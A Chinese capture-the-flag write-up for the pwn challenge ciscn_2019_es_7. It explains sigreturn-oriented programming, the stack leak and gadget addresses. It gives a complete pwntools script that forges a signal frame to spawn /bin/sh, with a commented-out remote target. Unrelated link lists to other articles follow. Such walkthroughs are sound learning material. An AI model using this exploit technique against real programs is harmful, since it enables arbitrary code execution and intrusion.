ciscn_2019_es_7

附件

步骤:

  1. 例行检查,64位程序,开启了nx保护
  2. 本地试运行一下看看大概的情况
  3. 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出
  4. 看到系统调用和溢出,想到了SROP,之前遇到过一次,关于原理可以看一下这两篇文章
    https://www.freebuf.com/articles/network/87447.html
    https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+sr
  5. 具体的原理看上面的链接,贴一下第一篇文章里的知识点(有删改)
    如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。

    在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn,我们将这段内存称为一个Signal Frame

    在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

Signal机制缺陷利用

首先,内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文,done!那么,问题来了:

第一、这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;

第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame

按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!

让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示

在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。

这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
第三,需要知道syscall指令在内存中的地址;
第四,需要知道sigreturn系统调用的内存地址。

搞清楚上述的内容后就可以解出这道题了

  1. buf存在溢出,可以控制栈上的内容,满足了第一个条件
  2. 程序使用了一次read一次write,buf的大小只有0x10,但是write打印了0x30,会打印多余的东西,
rax=0x4004f1

p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

我们先往buf里写入内容,write会打印出来,接收看一下,打印出来了多余的地址,我们接收一下就获得了栈上的地址
找一下‘bin/sh’在栈上的地址

调试的时候使用info proc map命令查看当前进程的内存映射,find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh" 在栈中查找‘/bin/sh’的地址,找到它在栈上的地址是0x7ffe697e0160,与泄露出来的栈上的地址的偏移是0x7ffe697e0278-0x7ffe697e0160=0x118,每次加载的地址都不一样,但是泄露的栈地址和bin/sh的偏移是固定的,所以我们可以用stack_addr-0x118来表示bin/sh的地址
这里面就有了栈地址和bin/sh的地址,满足了第二个条件

  1. 找一下syscall;ret指令在内存中的地址,利用SROP构造系统调用串(System call chains),满足了第三个条件
  2. 找一下sigreturn系统调用的内存地址
    如果我们将sigreturn当做一个系统调用来看待的话,那么其实这个单独的gadget并不是必须的。因为我们可以将rax寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall,效果和调用一个sigreturn是一样一样的。
    发现程序里有现成的rax=15(调用sigreturn)和rax=59(调用execv),满足了第四个条件
  3. 条件都满足了,接下来就可以用pwntools来帮助我们生成这个Signal Frame
context(os='linux',arch='amd64',log_level='debug')
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
  1. 最后利用溢出,完成SROP利用
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

完整exp:根据ctfwiki上的修改

from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug') p=process("./ciscn_2019_es_7")
#p=remote('node3.buuoj.cn',26447) syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2 rax=0x4004f1 p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8) #gdb.attach(p) sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe)) p.interactive()

[BUUCTF]PWN——ciscn_2019_es_7[详解]的更多相关文章

  1. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  2. Linq之旅:Linq入门详解(Linq to Objects)

    示例代码下载:Linq之旅:Linq入门详解(Linq to Objects) 本博文详细介绍 .NET 3.5 中引入的重要功能:Language Integrated Query(LINQ,语言集 ...

  3. 架构设计:远程调用服务架构设计及zookeeper技术详解(下篇)

    一.下篇开头的废话 终于开写下篇了,这也是我写远程调用框架的第三篇文章,前两篇都被博客园作为[编辑推荐]的文章,很兴奋哦,嘿嘿~~~~,本人是个很臭美的人,一定得要截图为证: 今天是2014年的第一天 ...

  4. EntityFramework Core 1.1 Add、Attach、Update、Remove方法如何高效使用详解

    前言 我比较喜欢安静,大概和我喜欢研究和琢磨技术原因相关吧,刚好到了元旦节,这几天可以好好学习下EF Core,同时在项目当中用到EF Core,借此机会给予比较深入的理解,这里我们只讲解和EF 6. ...

  5. Java 字符串格式化详解

    Java 字符串格式化详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 文中如有纰漏,欢迎大家留言指出. 在 Java 的 String 类中,可以使用 format() 方法 ...

  6. Android Notification 详解(一)——基本操作

    Android Notification 详解(一)--基本操作 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Notification 文中如有纰 ...

  7. Android Notification 详解——基本操作

    Android Notification 详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 前几天项目中有用到 Android 通知相关的内容,索性把 Android Notificatio ...

  8. Git初探--笔记整理和Git命令详解

    几个重要的概念 首先先明确几个概念: WorkPlace : 工作区 Index: 暂存区 Repository: 本地仓库/版本库 Remote: 远程仓库 当在Remote(如Github)上面c ...

  9. Drawable实战解析:Android XML shape 标签使用详解(apk瘦身,减少内存好帮手)

    Android XML shape 标签使用详解   一个android开发者肯定懂得使用 xml 定义一个 Drawable,比如定义一个 rect 或者 circle 作为一个 View 的背景. ...

随机推荐

  1. 搜索系统核心技术概述【1.5w字长文】

    前排提示:本文为综述性文章,梳理搜索相关技术,如寻求前沿应用可简读或略过 搜索引擎介绍 搜索引擎(Search Engine),狭义来讲是基于软件技术开发的互联网数据查询系统,用户通过搜索引擎查询所需 ...

  2. [bzoj4777]Switch Grass

    结论:最短路径一定是单独的一条边且在最小生成树上,可以用反证法证明.那么求出最小生成树,对于每一个点建立一棵权值线段树,再对每一个权值线段树上的叶子节点开一个multiset,维护所有儿子中该种颜色的 ...

  3. [bzoj1303]中位数图

    由于是排列,因此b一定只出现了一次,找到出现的位置并向左右扩展考虑如何判定是否满足条件,当且仅当$[左边比b小的数ls]+[右边比b小的数rs]=[左边比b大的数lb]+[右边比b大的数rb]$,暴力 ...

  4. Date相关类

    Date相关类 SimpleDateFormat类中format()和parse()方法 parse 字符串 --> 日期 format 日期 --> 字符串 Date类中getTime( ...

  5. IntelliJ IDEA 2021.3 正式发布:支持远程开发、IDE故障排查等多项优化改进

    作者:程序猿DD 博客:https://blog.didispace.com/ 昨天刚刚跟大家聊了Jetbrains即将推出轻量级编辑器Fleet,以挑战 VS Code的消息,今天又收到了Intel ...

  6. GATK4.1 call SNP

    GATK4.0 和之前的版本相比还是有较大的不同,更加趋于流程化. 软件安装 1 wget https://github.com/broadinstitute/gatk/releases/downlo ...

  7. Redis篇:单线程I/O模型

    关注公众号,一起交流,微信搜一搜: 潜行前行 redis 单线程 I/O 多路复用模型 纯内存访问,所有数据都在内存中,所有的运算都是内存级别的运算,内存响应时间的时间为纳秒级别.因此 redis 进 ...

  8. 单元测试在Unity中的应用

    项目描述:简单演示单元测试在Unity中的应用 项目地址:UnityTestRunner_Tutorial - SouthBegonia 项目版本:2020.3.20f1 项目用法:打开就用,代码都放 ...

  9. C# js获取buttonid

    var id= document.getElementById('<%=控件的ID.ClientID %>');

  10. Java日期格式转换不用发愁

    前言 Java 中日期.时间相关的类相当的多,并且分不同的版本提供了不同的实现,包括 Date . Calendar . LocalDateTime . ZoneDateTime . OffsetDa ...